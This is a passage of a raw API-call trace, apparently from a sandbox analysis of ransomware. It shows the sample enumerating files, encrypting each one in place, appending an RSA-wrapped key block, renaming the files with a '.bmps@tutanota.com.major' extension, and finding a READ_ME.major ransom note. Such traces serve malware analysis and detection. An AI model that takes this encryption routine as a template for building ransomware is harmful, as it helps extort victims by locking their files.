0x5ccf08 [0144.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0144.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0144.019] FindNextFileW (in: hFindFile=0x60ee28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37926f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37926f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xe9ec8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 1 [0144.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0144.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0144.019] GetLastError () returned 0x0 [0144.019] SetLastError (dwErrCode=0x0) [0144.019] GetLastError () returned 0x0 [0144.019] SetLastError (dwErrCode=0x0) [0144.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0144.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0144.019] GetLastError () returned 0x0 [0144.019] SetLastError (dwErrCode=0x0) [0144.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0144.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0144.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0144.019] FindNextFileW (in: hFindFile=0x60ee28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37926f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37926f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xe9ec8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 0 [0144.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0144.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0144.020] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0144.020] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\dll1\\webservices.dll", dwFileAttributes=0x80) returned 1 [0144.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0144.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0144.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0144.020] CreateFileW (lpFileName="\\Windows10Upgrade\\dll1\\webservices.dll" (normalized: "c:\\windows10upgrade\\dll1\\webservices.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x59c [0144.020] GetFileSizeEx (in: hFile=0x59c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=958152) returned 1 [0144.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe9ec8) returned 0x67d020 [0144.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe9ec8) returned 0x3146020 [0144.021] ReadFile (in: hFile=0x59c, lpBuffer=0x67d020, nNumberOfBytesToRead=0xe9ec8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x67d020*, lpNumberOfBytesRead=0x2e3f9b4*=0xe9ec8, lpOverlapped=0x0) returned 1 [0144.055] SetFilePointer (in: hFile=0x59c, lDistanceToMove=-958152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.055] WriteFile (in: hFile=0x59c, lpBuffer=0x3146020*, nNumberOfBytesToWrite=0xe9ec8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3146020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe9ec8, lpOverlapped=0x0) returned 1 [0144.058] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x67d020 | out: hHeap=0x570000) returned 1 [0144.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3146020 | out: hHeap=0x570000) returned 1 [0144.059] SetFilePointer (in: hFile=0x59c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe9ec8 [0144.059] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.059] WriteFile (in: hFile=0x59c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.059] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0144.059] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0144.059] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0144.060] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0144.060] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="xFCYAwhyEni8kiyVEw5nAIWi3Cxq+Ui85DKD57Ak1VhXTackB2AEaZxNNgzGhNuF\nI0DgjnzfwhedV9MfFDs+pEb383gKkCJ2IVGwTSR80tJMw/QDnpJ3TiSCAeIsd4WV\n+dz4tJj3cIuOLWq2Llssm8NeKvP+WwBVmk2E0nVl5sCPi+hmBI1VW+4K3b9oQuX3\npkhYNq5tcaAqMr1uJaJ+LYVO9Nt+YruPFYZsjxskIk7ipejJehRsGCmv22zJKjpq\n3D7wz2jTzBHmgrAy/fr0XAD2aobdQJm4QJE9ImbvH/UY7fH7LOELQneZTiz+aozi\nBZ8GioNipplCXboZyo2WRg==\n", pcchString=0x2e3f9a8) returned 1 [0144.060] WriteFile (in: hFile=0x59c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0144.060] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.060] WriteFile (in: hFile=0x59c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.060] CloseHandle (hObject=0x59c) returned 1 [0144.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0144.060] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\dll1\\webservices.dll" (normalized: "c:\\windows10upgrade\\dll1\\webservices.dll"), lpNewFileName="\\Windows10Upgrade\\dll1\\webservices.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\dll1\\webservices.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0144.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0144.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0144.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0144.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0144.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0144.062] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0144.062] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\dll1\\wdscore.dll", dwFileAttributes=0x80) returned 1 [0144.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0144.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0144.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0144.063] CreateFileW (lpFileName="\\Windows10Upgrade\\dll1\\wdscore.dll" (normalized: "c:\\windows10upgrade\\dll1\\wdscore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x59c [0144.063] GetFileSizeEx (in: hFile=0x59c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=241864) returned 1 [0144.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3b0c8) returned 0x2f60050 [0144.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3b0c8) returned 0x610888 [0144.063] ReadFile (in: hFile=0x59c, lpBuffer=0x2f60050, nNumberOfBytesToRead=0x3b0c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60050*, lpNumberOfBytesRead=0x2e3f9b4*=0x3b0c8, lpOverlapped=0x0) returned 1 [0144.111] SetFilePointer (in: hFile=0x59c, lDistanceToMove=-241864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.112] WriteFile (in: hFile=0x59c, lpBuffer=0x610888*, nNumberOfBytesToWrite=0x3b0c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x610888*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3b0c8, lpOverlapped=0x0) returned 1 [0144.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f60050 | out: hHeap=0x570000) returned 1 [0144.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610888 | out: hHeap=0x570000) returned 1 [0144.113] SetFilePointer (in: hFile=0x59c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3b0c8 [0144.113] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.113] WriteFile (in: hFile=0x59c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.113] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0144.114] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0144.114] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0144.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0144.114] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="QKdT+lFLnuXX8Jo3ExHzx7J42zc55ZDYMR2l8RFB0DCD5J5qsLhlSBtf/jxUZs8F\n3Aj/dr4sfXm5QYeK6JCL6bat3/6hlnIe3zO4A3iCMzv/040m71Kc3to6mnNRzwI+\nbZ+T6me7mT9ro+Od0Ew5UkZeXQIvYBPm+OcVEosXhxykyG04hQ6lRoG8HcwuWdpv\n7D72aNWjtiVtT4fYmqWjnclvcL9IsQk+dirPsYC8ar8d5xwmGAQT7LoMWFMP9wIx\nnS8pRvdKBNJyezWEm5ThJFMnO8UrnxpttkQpndoLKUOspxJ14M8SfIl93liRx+Wa\nn2I9c2MP3a0J4JX0pkgKVQ==\n", pcchString=0x2e3f9a8) returned 1 [0144.114] WriteFile (in: hFile=0x59c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0144.114] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.114] WriteFile (in: hFile=0x59c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.114] CloseHandle (hObject=0x59c) returned 1 [0144.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0144.114] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\dll1\\wdscore.dll" (normalized: "c:\\windows10upgrade\\dll1\\wdscore.dll"), lpNewFileName="\\Windows10Upgrade\\dll1\\wdscore.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\dll1\\wdscore.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0144.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0144.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0144.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0144.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0144.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0144.116] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0144.116] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\dll1\\cosqueryxp.dll", dwFileAttributes=0x80) returned 1 [0144.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0144.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0144.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0144.116] CreateFileW (lpFileName="\\Windows10Upgrade\\dll1\\cosqueryxp.dll" (normalized: "c:\\windows10upgrade\\dll1\\cosqueryxp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x59c [0144.117] GetFileSizeEx (in: hFile=0x59c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=132296) returned 1 [0144.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x204c8) returned 0x610888 [0144.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x204c8) returned 0x630d58 [0144.117] ReadFile (in: hFile=0x59c, lpBuffer=0x610888, nNumberOfBytesToRead=0x204c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x610888*, lpNumberOfBytesRead=0x2e3f9b4*=0x204c8, lpOverlapped=0x0) returned 1 [0144.133] SetFilePointer (in: hFile=0x59c, lDistanceToMove=-132296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.133] WriteFile (in: hFile=0x59c, lpBuffer=0x630d58*, nNumberOfBytesToWrite=0x204c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x630d58*, lpNumberOfBytesWritten=0x2e3f9b4*=0x204c8, lpOverlapped=0x0) returned 1 [0144.134] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610888 | out: hHeap=0x570000) returned 1 [0144.134] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630d58 | out: hHeap=0x570000) returned 1 [0144.135] SetFilePointer (in: hFile=0x59c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x204c8 [0144.135] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.135] WriteFile (in: hFile=0x59c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.135] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0144.135] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0144.136] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0144.136] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0144.136] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="G+g2rQPGmZO/FBHpz1zEOsoT8o013prbQ6jWVnTG7YgN+HW5xKNxhEufKxEUlNjf\n2HocJNZ9uLlCiu8Ezkl7/SilaSJQRovrfFCGeMRWp752qteJj3sdns3Uyuvgd26A\n8JTJ7UPvOxbgLKvchSxfNb1kdA5IkLUPZYty8iuwK7gmSM2F1XR85ZHSbSHIWE8o\njsn48xmvWBLr9i01pEKzv2aZ+vZ5XK0vqFaIuB16wKDz4RHmS4bNEKR/MyFPs9Rd\nUychN5YnL/xq2sD+OM8ZZy8NS1b5SUXbsj0BZsnrUqXCp56KYUZOwLydUp3d394Y\nXOhoyka5NJAM/c6iFsKBrQ==\n", pcchString=0x2e3f9a8) returned 1 [0144.136] WriteFile (in: hFile=0x59c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0144.136] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.136] WriteFile (in: hFile=0x59c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.136] CloseHandle (hObject=0x59c) returned 1 [0144.136] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0144.136] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\dll1\\cosqueryxp.dll" (normalized: "c:\\windows10upgrade\\dll1\\cosqueryxp.dll"), lpNewFileName="\\Windows10Upgrade\\dll1\\cosqueryxp.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\dll1\\cosqueryxp.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0144.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0144.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0144.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0144.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0144.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0144.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef58 | out: hHeap=0x570000) returned 1 [0144.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5899c8 | out: hHeap=0x570000) returned 1 [0144.138] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\dll2\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea37cd05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37cd05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc7fae1b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60e928 [0144.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0144.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0144.138] GetLastError () returned 0x0 [0144.139] SetLastError (dwErrCode=0x0) [0144.139] GetLastError () returned 0x0 [0144.139] SetLastError (dwErrCode=0x0) [0144.139] GetLastError () returned 0x0 [0144.139] SetLastError (dwErrCode=0x0) [0144.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef58 [0144.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0144.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0144.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0144.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60ec28 [0144.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ec28 | out: hHeap=0x570000) returned 1 [0144.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405e8 [0144.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405e8 | out: hHeap=0x570000) returned 1 [0144.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0144.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef58 | out: hHeap=0x570000) returned 1 [0144.139] FindNextFileW (in: hFindFile=0x60e928, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea37cd05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37cd05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc7fae1b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0144.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0144.139] GetLastError () returned 0x0 [0144.139] SetLastError (dwErrCode=0x0) [0144.139] GetLastError () returned 0x0 [0144.139] SetLastError (dwErrCode=0x0) [0144.139] GetLastError () returned 0x0 [0144.139] SetLastError (dwErrCode=0x0) [0144.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0144.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0144.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0144.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0144.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60e8a8 [0144.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e8a8 | out: hHeap=0x570000) returned 1 [0144.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0144.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0144.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0144.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0144.140] FindNextFileW (in: hFindFile=0x60e928, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7fae1b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0xc7fae1b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc7fae1b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0144.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0144.140] GetLastError () returned 0x0 [0144.140] SetLastError (dwErrCode=0x0) [0144.140] GetLastError () returned 0x0 [0144.140] SetLastError (dwErrCode=0x0) [0144.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0144.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0144.140] GetLastError () returned 0x0 [0144.140] SetLastError (dwErrCode=0x0) [0144.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0144.140] HeapFree (in: 